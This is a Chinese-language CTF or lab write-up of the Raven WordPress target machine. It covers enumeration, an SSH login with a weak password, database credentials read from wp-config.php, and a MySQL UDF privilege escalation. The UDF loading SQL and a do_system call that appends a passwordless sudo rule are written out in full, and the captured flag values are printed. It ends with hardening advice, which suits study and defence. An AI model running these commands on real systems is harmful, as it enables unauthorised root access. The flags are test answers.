测试日期:2026年06月10日
测试人员:Kali Linux 攻击机 (192.168.101.133)
目标系统:192.168.101.132 – Raven Security (Debian Linux, WordPress 4.8.7)
1. 概述
Raven 是一个模拟真实环境的 Debian Linux 靶机,运行 WordPress 博客系统。本次测试模拟外部攻击者视角,对 WordPress 及相关服务进行渗透,最终获得 root 权限。
测试目标:
- 发现 WordPress 及服务器配置中的安全弱点。
- 获取未经授权的访问权限并提升至 root。
- 提供修复建议。
2. 信息收集
2.1 端口扫描
使用 nmap 扫描目标开放端口:
text
Nmap scan report for 192.168.101.132 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 80/tcp open http Apache httpd 2.4.10 ((Debian)) 111/tcp open rpcbind 2-4 (RPC #100000)
Web 服务为主要攻击面。
2.2 Web 目录枚举
使用 gobuster 发现 /wordpress 目录:
text
/wordpress (Status: 301) /vendor (Status: 301)
/vendor 目录可列出,包含第三方依赖库。
2.3 WordPress 版本识别
使用 whatweb 确定 WordPress 版本:
text
http://192.168.101.132/wordpress/ [200 OK] ... MetaGenerator[WordPress 4.8.7]
结论:WordPress 4.8.7(2017 年发布,已过时)。
2.4 用户枚举
使用 wpscan 枚举 WordPress 用户:
text
[+] steven [+] michael
确认存在两个有效用户。
3. 漏洞发现与利用
3.1 SSH 弱口令
使用常见弱口令 michael:michael 成功登录 SSH:
bash
ssh michael@192.168.101.132
→ 获得低权限 shell(uid=1000)。
漏洞原因:用户使用极易猜测的密码。
3.2 敏感信息泄露 – 数据库凭证
在 WordPress 根目录发现配置文件 wp-config.php,内含数据库明文密码:
php
define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'R@v3nSecurity');
→ 获得 MySQL root 密码。
漏洞原因:配置文件可读,且数据库使用 root 账户。
3.3 MySQL UDF 提权
- 登录 MySQL:bashmysql -u root -p’R@v3nSecurity’
- 确认 MySQL 版本 5.5.60(存在 UDF 提权漏洞)。
- 在 Kali 上编译
1518.c生成共享库raptor_udf.so。 - 通过 HTTP 上传至靶机
/tmp。 - 在 MySQL 中加载 UDF:sqlcreate table temp(line blob); insert into temp values(load_file(‘/tmp/raptor_udf.so’)); select * from temp into dumpfile ‘/usr/lib/mysql/plugin/raptor_udf.so’; create function do_system returns integer soname ‘raptor_udf.so’;
- 执行系统命令,将
michael添加至 sudoers:sqlselect do_system(‘echo “michael ALL=(ALL) NOPASSWD: ALL” >> /etc/sudoers’); - 验证:bashsudo -l # 显示 (ALL) NOPASSWD: ALL sudo su – # 切换至 root
漏洞原因:
- MySQL 以 root 权限运行,且插件目录可写。
- MySQL 版本低于 5.1 或未限制
load_file()及into dumpfile的使用。 - 允许向插件目录写入共享库。
4. 获取 Flag
- flag2.txt:
/var/www/flag2.txt→flag2{fc3fd58dcdad9ab23faca6e9a36e581c} - flag4.txt:
/root/flag4.txt→flag4{715dea6c055b9fe3337544932f2941ce}
5. 修复建议
5.1 针对 WordPress
- 升级 WordPress:更新至最新稳定版(当前 6.x),修复已知漏洞。
- 移除版本指纹:删除或限制访问
readme.html、wp-includes/version.php、wp-admin/load-styles.php等版本泄露文件。 - 禁用目录列表:在 Apache 配置中设置
Options -Indexes,防止/vendor等目录暴露。 - 强化用户密码策略:要求复杂密码,禁止弱口令。
- 启用双因素认证:为管理员登录增加二次验证。
5.2 针对 SSH
- 禁用密码登录,改用 SSH 密钥认证。
- 使用
fail2ban防止暴力破解。 - 定期审查用户账户,删除不必要账户(如
steven和michael若不再使用)。
5.3 针对数据库
- 更改 MySQL root 密码:使用强密码,并限制只能本地登录。
- 创建专用数据库用户:为 WordPress 分配非 root 用户,最小权限原则。
- 升级 MySQL:更新至 5.7+ 或 8.0,该版本默认禁止
load_file()写入插件目录(需配置secure_file_priv)。 - 设置
secure_file_priv:限制数据导入/导出目录,防止 UDF 滥用。 - 删除不必要的 UDF 函数:定期检查
mysql.func表。
5.4 针对服务器加固
- 限制 sudo 权限:避免
NOPASSWD: ALL,按需授权。 - 禁用危险函数:在
php.ini中禁用system(),exec(),shell_exec()等。 - 使用 SELinux/AppArmor:限制 MySQL 和 Web 进程的行为。
- 定期安全审计:检查文件权限、SUID 文件、计划任务等。
6. 总结
本次测试通过 WordPress 暴露的版本及用户信息,结合 SSH 弱口令进入系统,再利用 MySQL 配置不当实现本地提权,最终获得完全控制权。所有漏洞均可通过上述修复建议进行有效防御。
风险等级:严重(Critical)